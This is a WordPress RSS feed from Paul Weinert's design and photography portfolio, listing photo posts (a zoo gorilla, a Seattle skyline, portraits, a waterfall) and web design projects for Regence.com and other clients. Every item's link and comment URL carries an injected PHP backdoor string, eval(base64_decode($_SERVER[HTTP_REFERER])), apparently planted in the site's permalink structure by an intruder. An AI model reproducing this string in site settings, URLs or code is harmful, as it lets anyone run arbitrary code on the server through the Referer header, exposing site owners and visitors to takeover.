<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Paul Weinert Design &#38; Photography</title>
	<atom:link href="http://www.paulweinert.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.paulweinert.com</link>
	<description></description>
	<pubDate>Sat, 21 Feb 2009 18:49:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>My Pal the Gorilla</title>
		<link>http://www.paulweinert.com/2009/01/05/my-pal-the-gorilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2009/01/05/my-pal-the-gorilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 05 Jan 2009 07:01:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Candid]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<category><![CDATA[Gorilla]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=93</guid>
		<description><![CDATA[
A Gorilla Chillin&#8217; at the Seattle Zoo
Why I Like It: For some reason this Gorilla reminded me on the Fonz — so cool, so relaxed. For composition, I like the lines drawing toward the Gorilla&#8217;s face.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2009/01/05/my-pal-the-gorilla/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Action Joel</title>
		<link>http://www.paulweinert.com/2008/12/29/action-joel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/12/29/action-joel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Dec 2008 07:01:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Candid]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=92</guid>
		<description><![CDATA[
Joel getting his Frisbee on.
Why I Like It: Joel is a natural athlete, so for his portrait he wanted a shot of him in the action. With the help of another friend playing catch, it was up to me to follow along and take some pictures. I would be lying to say if I didn&#8217;t [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/12/29/action-joel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Self-Portrait</title>
		<link>http://www.paulweinert.com/2008/12/22/self-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/12/22/self-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 22 Dec 2008 07:01:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=91</guid>
		<description><![CDATA[
Me
Why I Like It: A tripod, a self-timer, and a pretty background equals a great photograph of me. Notice the strikingly handsome stubble beard.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/12/22/self-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Wes and Rachel Engagement Portrait</title>
		<link>http://www.paulweinert.com/2008/12/15/wes-and-rachel-engagement-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/12/15/wes-and-rachel-engagement-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 07:01:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<category><![CDATA[City]]></category>

		<category><![CDATA[Engagement]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=90</guid>
		<description><![CDATA[
One of Wes and Rachel&#8217;s Engagement Pictures from a shoot near Kerry Park.
Why I Like It: Wes and Rachel were up for the weekend so I shot some quick engagement pictures. A little bit of post processing helped normalize the color balance between the sky and the couple. This was a real natural shoot at [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/12/15/wes-and-rachel-engagement-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Beagle Attack!</title>
		<link>http://www.paulweinert.com/2008/12/08/beagle-attack/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/12/08/beagle-attack/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 07:01:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Candid]]></category>

		<category><![CDATA[Life]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[City]]></category>

		<category><![CDATA[Dog]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=73</guid>
		<description><![CDATA[
London, our beagle puppy, springing a trap on some unknowing ducks
Why I like it: I think this picture tells a great story. At first glance, a dog is scaring some ducks, but dive deeper and you discover a story more sinister. Notice the bread crumbs near the lower center of the frame — perhaps to [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/12/08/beagle-attack/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Seattle Skyline</title>
		<link>http://www.paulweinert.com/2008/12/01/seattle-skyline/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/12/01/seattle-skyline/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 07:01:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[City]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Seattle]]></category>

		<category><![CDATA[Skyline]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=71</guid>
		<description><![CDATA[
The Beautiful Seattle Skyline from Kerry Park
Why I like it: Again, this is a pretty simple shot. It was a beautiful, clear night so it seemed like the perfect time to get a solid Skyline shot. Kerry Park has a fantastic view of the Space Needle. In terms of composition, I like the trees providing [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/12/01/seattle-skyline/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stone Guardian</title>
		<link>http://www.paulweinert.com/2008/11/24/stone-guardian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/11/24/stone-guardian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 07:01:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=89</guid>
		<description><![CDATA[
A close-up portrait of our family&#8217;s guardian statue.
Why I Like It: Black and White macro&#8217;s are some of my favorite pictures. I love the texture and the composition of this shot. I think the split frame is very cool and a very dramatic..
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/11/24/stone-guardian/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dan Portrait</title>
		<link>http://www.paulweinert.com/2008/11/17/dan-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/11/17/dan-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 07:01:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=88</guid>
		<description><![CDATA[
A brooding portrait of Dan.
Why I Like It: It&#8217;s such a simple shot and composition.  I think the subtle sepia tones really help highlight the textures and draw you into his eyes.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/11/17/dan-portrait/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Waterfall</title>
		<link>http://www.paulweinert.com/2008/10/13/waterfall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/10/13/waterfall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 19:22:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Nature]]></category>

		<category><![CDATA[Photography]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=68</guid>
		<description><![CDATA[
Milky waterfall near Whistler, BC
Why I like it: I think every photographer should have a good, creamy waterfall shot. I got a good tripod, hiked out to beautiful location and got this great shot. It was tough debate between color or black and white, but I ultimitally choose to highlight the contrasting textures.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/10/13/waterfall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Featured Artist: Joel Fariss</title>
		<link>http://www.paulweinert.com/2008/10/13/paintings/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/10/13/paintings/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 17:48:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Life]]></category>

		<category><![CDATA[Friends]]></category>

		<category><![CDATA[Painting]]></category>

		<category><![CDATA[Texture]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=66</guid>
		<description><![CDATA[A buddy of mine up here in Seattle is starting to show his paintings. I love his use of color and texture to subtly add drama to his paintings.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/10/13/paintings/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>User Interface Design Materials</title>
		<link>http://www.paulweinert.com/2008/07/07/user-interface-design-materials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/07/07/user-interface-design-materials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 08 Jul 2008 05:36:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[IA]]></category>

		<guid isPermaLink="false">http://www.paulweinert.com/?p=62</guid>
		<description><![CDATA[On this site you&#8217;ll find some examples of the websites I&#8217;ve designed and produced, some interactive flash peices I&#8217;ve developed and art directed, some of my favorite photographs, and—time-willing—some examples of my print and advertising work.
What you won&#8217;t find on this site are examples of my user interface design or information architecture work. Rest assured! [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/07/07/user-interface-design-materials/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Regence.com Embedded Video Player</title>
		<link>http://www.paulweinert.com/2008/06/09/regencecom-embedded-video-player/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/09/regencecom-embedded-video-player/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 00:32:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[Interactive]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[Art Direction]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[IA]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=48</guid>
		<description><![CDATA[
Role: Designer, User Interface Design, Usability Consultant.
Date Completed: May 2008
Project Brief: One of the major features of the Regence.com redesign, this Flash component dynamically grabs other flash modules and videos and populates them into the player via an XML file. The user can interact with any of the videos within the application as it spins [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/09/regencecom-embedded-video-player/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lily in the Sky</title>
		<link>http://www.paulweinert.com/2008/06/08/lily-in-the-sky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/lily-in-the-sky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 00:59:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Macro]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Flowers]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=56</guid>
		<description><![CDATA[
A yellow lily illuminated in the sun.
Why I like it: I just love the contrasting texture in this photograph. The big, puffy yet wispy clouds and the solid form and view patterns of the Lily glowing in the sunlight. I also really like the bright, vivid colors.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/lily-in-the-sky/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Regence.com &#8220;What is Health Insurance?&#8221; Educational Piece</title>
		<link>http://www.paulweinert.com/2008/06/08/regencecom-what-is-health-insurance-educational-piece/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/regencecom-what-is-health-insurance-educational-piece/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 21:58:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[Interactive]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[ActionScript]]></category>

		<category><![CDATA[Art Direction]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=50</guid>
		<description><![CDATA[
Role: Flash Designer/Developer, User Interface Design, Art Director
Date Completed: May 2008
Project Brief: This is an education piece I developed to help users learn the basics about health insurance. It is set in a virtual office and the user is free to explore and navigate their office as they see fit, learning little chunks of information [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/regencecom-what-is-health-insurance-educational-piece/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Regence.com Redesign</title>
		<link>http://www.paulweinert.com/2008/06/08/regencecom-redesign/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/regencecom-redesign/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 20:56:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[Web]]></category>

		<category><![CDATA[ActionScript]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[HTML]]></category>

		<category><![CDATA[IA]]></category>

		<category><![CDATA[Java]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=45</guid>
		<description><![CDATA[
Role: Web Designer, Front-End Developer, User Interface Design, Usability Consultant.
Date Completed: March 2008
Project Brief: For the redesign of the regence.com site, we stripped down the old site to its bare bones, reimagined the use cases and users of the site and built an entirely new interface that really took advantage of new technologies. We streamlined [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/regencecom-redesign/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lydia&#8217;s Portraits</title>
		<link>http://www.paulweinert.com/2008/06/08/lydias-portraits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/lydias-portraits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 20:02:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Portrait]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=54</guid>
		<description><![CDATA[
A collection of portrait photo&#8217;s of my lovely wife.
Why I like it: I like the way that each of the photos conveys a different mood. This progression is similar to how I view her, she is very quiet with a lot of people, but one day, shortly after we first started hanging out, she exploded [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/lydias-portraits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Reinvent Health Care</title>
		<link>http://www.paulweinert.com/2008/06/08/reinventhealthcarecom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/reinventhealthcarecom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 19:37:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[Web]]></category>

		<category><![CDATA[Advertising]]></category>

		<category><![CDATA[Art Direction]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Management]]></category>

		<category><![CDATA[SEM]]></category>

		<category><![CDATA[SEO]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=42</guid>
		<description><![CDATA[
Role: Art Director, Project Manager, User Interface Designer and general leadership throughout the entire development process. I also helped manage our search engine optimization, search engine marketing and online advertising campaigns.
Date Completed: November 2007
Project Brief: A microsite promoted and maintained by Regence about how as American Health Care consumers, we can help drive down the [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/reinventhealthcarecom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>T.S. Wallace Photography</title>
		<link>http://www.paulweinert.com/2008/06/08/ts-wallace-photography/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/ts-wallace-photography/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 18:47:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[Interactive]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[ActionScript]]></category>

		<category><![CDATA[Art Direction]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[IA]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=39</guid>
		<description><![CDATA[
Role: Art Director, Interactive Designer, ActionScript Developer, User Interface Designer
Date Completed: June 2007
Project Brief: The primary goal of this portfolio site is to show off the work of Tim Wallace&#8217;s great photography. As such, I designed and developed his site to be all about the photography. The colors are muted and recessed and the navigation [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/ts-wallace-photography/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Postcard Bay</title>
		<link>http://www.paulweinert.com/2008/06/08/postcard-bay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/08/postcard-bay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 18:12:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Nature]]></category>

		<category><![CDATA[Photography]]></category>

		<category><![CDATA[Landscape]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=52</guid>
		<description><![CDATA[
A surreal bay on the island of Kauai in Hawaii
Why I like it: I love the colors in this photo; the sun was just starting to set behind me and it just made the colors pop.
]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/08/postcard-bay/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>University of Oregon</title>
		<link>http://www.paulweinert.com/2008/06/07/university-of-oregon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/07/university-of-oregon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 22:04:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[Web]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[HTML]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Management]]></category>

		<category><![CDATA[PHP/MySQL]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=32</guid>
		<description><![CDATA[
Role: Web Designer, Database Developer, User Interface, &#38; Project Management
Date Completed: February 2007
Project Brief: I worked with the University of Oregon&#8217;s Office of International Programs to revamp their old, static website into a dynamic one driven by PHP/MySQL. I also helped develop the architecture for their new online brochure program, converting all their existing PDF&#8217;s [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/07/university-of-oregon/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Anderson-Perry &#038; Associates</title>
		<link>http://www.paulweinert.com/2008/06/06/anderson-perry-associates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/06/anderson-perry-associates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 07 Jun 2008 06:50:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[Web]]></category>

		<category><![CDATA[CSS]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[HTML]]></category>

		<category><![CDATA[IA]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[Management]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=22</guid>
		<description><![CDATA[
Role: Web Designer/Developer, Interactive Designer, User Interface, &#38; Project Management
Date Completed: December 2006
Project Brief: Anderson-Perry and Associates hired me to help with a complete redesign of their website. Over the course of two months I organized user research, developed business strategy, and led site design and development.
Visit Andersonperry.com »

]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/06/anderson-perry-associates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>InFlux Magazine 2006</title>
		<link>http://www.paulweinert.com/2008/06/05/influx-magazine-2006/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/05/influx-magazine-2006/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 06:50:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[Interactive]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[ActionScript]]></category>

		<category><![CDATA[Art Direction]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[IA]]></category>

		<category><![CDATA[Magazine Design]]></category>

		<category><![CDATA[Management]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=36</guid>
		<description><![CDATA[


Role: Art Director, Interactive Designer, ActionScript Developer, User Interface and Information Architect
Date Completed: June 2006
Project Brief: I lived and breathed this site for three long months. I was the Art Director, team manager, lead flash designer/developer and user interface designer for this online, interactive manager. We purchased a flash page flipping component and then I [...]]]></description>
		<wfw:commentRss>http://www.paulweinert.com/2008/06/05/influx-magazine-2006/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Prior Version of paulweinert.com</title>
		<link>http://www.paulweinert.com/2008/06/04/prior-version-of-paulweinertcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.paulweinert.com/2008/06/04/prior-version-of-paulweinertcom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 06:40:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Design Portfolio]]></category>

		<category><![CDATA[Interactive]]></category>

		<category><![CDATA[UI]]></category>

		<category><![CDATA[ActionScript]]></category>

		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://paulweinert.com/blog/?p=28</guid>
		<description><![CDATA[

Role: Web Designer/Developer, Interactive Designer
Date Completed: November 2005
Project Brief: I created this simple site to show some of my design abilities, as well as some of my print and web design work. It served me well for many years, but the lack of accessibility options because of flash and the burden of flash updates have [...]]]></description>
